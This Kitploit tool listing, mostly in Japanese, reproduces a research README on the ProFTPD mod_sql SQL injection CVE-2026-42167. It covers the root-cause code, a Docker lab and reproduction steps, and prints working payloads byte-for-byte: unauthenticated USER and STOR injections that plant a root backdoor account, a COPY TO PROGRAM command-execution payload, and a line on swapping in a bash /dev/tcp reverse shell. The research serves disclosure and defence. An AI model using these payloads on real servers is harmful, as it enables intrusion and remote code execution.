Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
proftpd-CVE-2026-42167-analysis — CVE-2026-42167(ProFTPD mod_sql is_escaped_text() バイパス)に関する独立した再現、コードレベルの根本原因分析、および現実的な曝露レポート。 | Kitploit
ツール/GitHubGitHub/dinosn/proftpd-cve-2026-42167-analysis
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト論文と研究学習と教育
GitHubdinosn/proftpd-cve-2026-42167-analysis

proftpd-CVE-2026-42167-analysis

CVE-2026-42167(ProFTPD mod_sql is_escaped_text() バイパス)に関する独立した再現、コードレベルの根本原因分析、および現実的な曝露レポート。

リポジトリを見る
31105ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-42167 — ProFTPD mod_sql SQLインジェクション / 認証バイパス / RCE

独立した再現、コードレベルの根本原因のウォークスルー、そして CVE-2026-42167 に関する率直な曝露分析 — ZeroPath Research が開示し、 ProFTPD 1.3.9a / 1.3.10rc1 で修正された ProFTPD の mod_sql ロギングパイプラインにおける is_escaped_text() バイパス。

2026-04-29 に macOS / Apple Silicon 上の Docker でエンドツーエンドで構築・検証済み。

TL;DR — どれほど心配すべきかを判断する前に、現実的な曝露の全体像については 結論 を参照してください。これは デフォルトインストール のバグでは ありませんが、危険なクォーティングパターンは上流ドキュメントが使用を推奨するパターン であるため、mod_sql デプロイの大部分がこの問題を引き継いでいます。

フィールド値
CVECVE-2026-42167
CWECWE-89 (SQLインジェクション)、CWE-78 (OSコマンドインジェクション — PG COPY TO PROGRAM 経由)
影響を受けるバージョンProFTPD ≤ 1.3.9 で mod_sql + SQLLog/SQLNamedQuery を使用し、フォーマット文字列が攻撃者が制御する変数をシングルクォート内で補間する構成
修正バージョン1.3.9a (af90843ba…) / 1.3.10rc1、コミット e6f728481 ("Issue #2052") を参照
固定した脆弱性コミットae25959adb05ae1d6ebfa1f36bf778c9c34e9410
脆弱なファイルcontrib/mod_sql.c 741–758行 (is_escaped_text) および 777行 (sql_resolved_append_text)
元の開示https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce
公開PoChttps://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc
リリースノートhttp://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1

1. 根本原因 — contrib/mod_sql.c の is_escaped_text() ヒューリスティック

mod_sql はロギングフォーマット変数 (%U、%{basename} など) を解決し、 各断片を sql_resolved_append_text() 経由でレンダリングされたSQLに追加します。 変数を '…' で既にラップしている管理者設定との後方互換性を維持するため、 この関数は sql_escapestring が必要かどうかを判断するために is_escaped_text() を呼び出します:```c /* contrib/mod_sql.c — vulnerable commit ae25959 */ 741 static int is_escaped_text(const char text, size_t text_len) { 742 register unsigned int i; 743 744 if (text[0] != ''') return FALSE; 745 if (text[text_len-1] != ''') return FALSE; 746 for (i = 1; i < text_len-1; i++) 747 if (text[i] == ''') return FALSE; 748 return TRUE; 749 } … 777 if (is_escaped_text(text, text_len) == FALSE) { … / …sql_escapestring()… */ 790 } else { 791 pr_trace_msg(trace_channel, 17, 792 "text '%s' is already escaped, skipping escaping it again", text); 793 new_text = (char *) text; 794 new_textlen = text_len; 795 }

構造チェックは純粋に構造的なものであり、*「信頼できるコードによって既にエスケープされている」* と *「攻撃者が既にエスケープされているように見せかけて作成した」* を区別することはできません。
`'<no-internal-quotes>'` に一致するクライアント提供の値は `sql_escapestring` をスキップし、最終的なクエリにそのまま連結されます。

標準的で文書化された設定では、`%U` / `%{basename}` / `%m` を単一引用符で囲みます。```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog        ERR_*       log_activity

攻撃者が USER '<payload>'(先頭と末尾に引用符、内部に引用符なし)を送信すると、リゾルバは %U をエスケープせずに置換し、SQL 内に ''<payload>'' を生成します。空文字列リテラルが周囲の引用符を閉じ、<payload> が生の SQL として実行されます。PostgreSQL(PQexec)と SQLite(sqlite3_exec)ではスタッククエリがサポートされているため、<payload> は任意のステートメント列にできます。

SQLLog ERR_* は失敗したログイン時に発火し、%U は認証前に USER から設定されるため、この攻撃は完全に未認証で実行可能です。

修正(コミット e6f728481、"Issue #2052")

sql_resolved_append_text() に already_escaped パラメータが追加されました。クライアント入力から値を解決する呼び出し元は FALSE を渡し、今後は無条件に sql_escapestring を経由します。is_escaped_text() ヒューリスティックは、正当な「設定に事前エスケープ済みの値がある」パスに対して引き続き適用されますが、攻撃者が制御するデータには適用されなくなります。


2. ラボ環境```

+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+

- 両方のコンテナは `setup/docker-compose.yml` で起動します。
- `setup/proftpd.conf` は脆弱なログ設定を有効にします(§1 参照)。
- `setup/seed.sql` は `users`、`groups`、`activity_log`、`xfer_log`、
  および `secrets` を作成し、さらに単一の正規 FTP ユーザー `ftpuser / ftppass` を追加します。

---

## 3. 再現 — コピー&ペースト

前提条件: Docker Desktop、Python 3.10+、git。(`uv` は任意です。PoC は stdlib のみで動作します。)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc

# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
#   - clones proftpd source pinned to ae25959a (vulnerable)
#   - builds with --with-modules=mod_sql:mod_sql_postgres
#   - starts both containers, waits for healthchecks

# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121

# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "SELECT userid,uid,gid,homedir,shell FROM users;"

# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
  -c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
  --host localhost --port 2121 --user ftpuser --password ftppass

# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt

# 7) tear down
cd setup && ./teardown.sh

The two interactive variants in the upstream repo (preauth_user_rce.py, postauth_stor_rce.py) are unmodified and pop a PTY-backed reverse shell. They use the same primitive as the marker variant — just substitute the shell command for bash -i >& /dev/tcp/<host>/<port> 0>&1 and listen on <port> first.


4. The payloads, byte-for-byte

Pre-auth backdoor (USER command, %U)```

USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x

仕組み:

1. **外側の引用符 + 内部に引用符がない**ことで
   `is_escaped_text()` と一致 → エスケープがスキップされる。
2. 設定された `SQLNamedQuery` は `INSERT "'%U', '%r', '%m'" activity_log`
   なので、レンダリングされたSQLは
   `INSERT INTO activity_log VALUES('<payload>', '<%r>', '<%m>')` になる — ただし
   `<payload>` 自体が `'` で始まるため、実効クエリは
   `INSERT INTO activity_log VALUES('', null, null); INSERT INTO users
   VALUES($$backdoor$$,…); --', '<%r>', '<%m>')` となる。
3. `--` が末尾のフォーマットスロットをコメントアウトする。
4. `$$…$$` PostgreSQLのドル引用符により、`'` を一切使わずに文字列(`backdoor`、
   `pwned123`、`/`、`/bin/bash`)を渡せる — `is_escaped_text()` の
   バイパスを維持できる。
5. 失敗したログインで `SQLLog ERR_*` が発火 → `PQexec()` がスタックされた
   `INSERT INTO users` を実行 → 認証テーブルにバックドアアカウントが存在するようになる。

### 認証後バックドア(`STOR` ファイル名、`%{basename}`)```
STOR ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, chr(47), chr(47)); --'

同じバイパスでも、トリガーが異なる。chr(47) = '/' が使われるのは、 FTPではファイル名内の/がディレクトリ区切り文字として解釈されるため、攻撃者は ファイル名にリテラルな/を入れることができないからだ。chr()を使うことで、 バックドアアカウントはワイヤ上に/を送信せずにhomedir = '/'を取得できる。

事前認証RCE(USER + COPY TO PROGRAM)```

USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$$$; --' PASS x

`<shell-cmd>` は任意のコマンドです。PostgreSQL はこれを **データベース** ホスト上で `postgres` OS ユーザーとして `/bin/sh` 経由で実行します。`mod_sql` が使用する DB ロールがスーパーユーザー(または `pg_execute_server_program` のメンバー)である必要があります。これはシングルテナント展開では一般的であり、`POSTGRES_USER` 経由でロールが作成された場合の公式 `postgres` Docker イメージのデフォルトでもあります。

---

## 5. 再現中に取得された証拠
ツールをダウンロード